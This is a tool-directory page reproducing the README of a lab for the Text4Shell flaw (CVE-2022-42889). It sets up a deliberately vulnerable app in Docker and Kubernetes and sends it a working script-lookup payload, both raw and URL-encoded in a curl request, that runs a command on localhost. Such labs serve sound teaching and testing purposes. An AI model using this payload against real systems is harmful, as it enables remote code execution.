Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
text4shell-cve-2022-42889 — Kubernetes Lab for CVE-2022-42889 | Kitploit
Tools/GitHubGitHub/devenes/text4shell-cve-2022-42889
Container SecurityVulnerability AnalysisWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdevenes/text4shell-cve-2022-42889

text4shell-cve-2022-42889

Kubernetes Lab for CVE-2022-42889

View Repository
213 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Text4Shell CVE-2022-42889

Docker Lab for CVE-2022-42889

You can either build the Docker image locally or pull the image from Docker Hub and run the container.

Clone the repo

root@kitploit:~
git clone https://github.com/devenes/text4shell-cve-2022-42889.git

Build the Docker image locally

root@kitploit:~
docker build --tag=text4shell .

Run the Docker container

root@kitploit:~
docker run -d --rm -p 8080:8080 text4shell

Or pull the image from Docker Hub and run the container

root@kitploit:~
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0

Test the app by passing a string to the search parameter:

root@kitploit:~
curl http://localhost/text4shell/attack?search=<anything>
  • Attack can be performed by passing a string ${prefix:name} where the prefix is the aforementioned lookup:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

Attack using curl:

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
  • You can also try using dns or url prefixes

Get the container id

root@kitploit:~
docker container ls

Get into the container

root@kitploit:~
docker exec -it <container_id> bash

Check if the RCE attack was successful

  • You should see a file named foo created in the /tmp directory:
root@kitploit:~
ls /tmp/

You can stop the container by running the following command

root@kitploit:~
docker container stop <container_id>

Kubernetes Lab for CVE-2022-42889

Change the directory to kubernetes and follow the instructions in the README.md file.

root@kitploit:~
cd kubernetes

Create kind cluster

root@kitploit:~
kind create cluster --config kind-config.yaml

Deploy the vulnerable app to the cluster

root@kitploit:~
kubectl apply -f deployment.yaml

Create a service to expose the app

root@kitploit:~
kubectl apply -f service.yaml

Attack the vulnerable app using curl

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

Get the pod name using kubectl get pods

root@kitploit:~
kubectl get pods

Get into the pod using kubectl exec

root@kitploit:~
kubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash

Check if the attack was successful

root@kitploit:~
ls /tmp/ | grep foo

You can find the detailed tutorial on my Udemy course here


References:

  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://www.docker.com/blog/security-advisory-cve-2022-42889-text4shell/
  • https://unifiedguru.com/security-advisory-cve-2022-42889-text4shell-docker/
  • https://medium.com/mii-cybersec/cve-2022-42889-text4shell-vulnerability-17b703a48dcd
Download Tool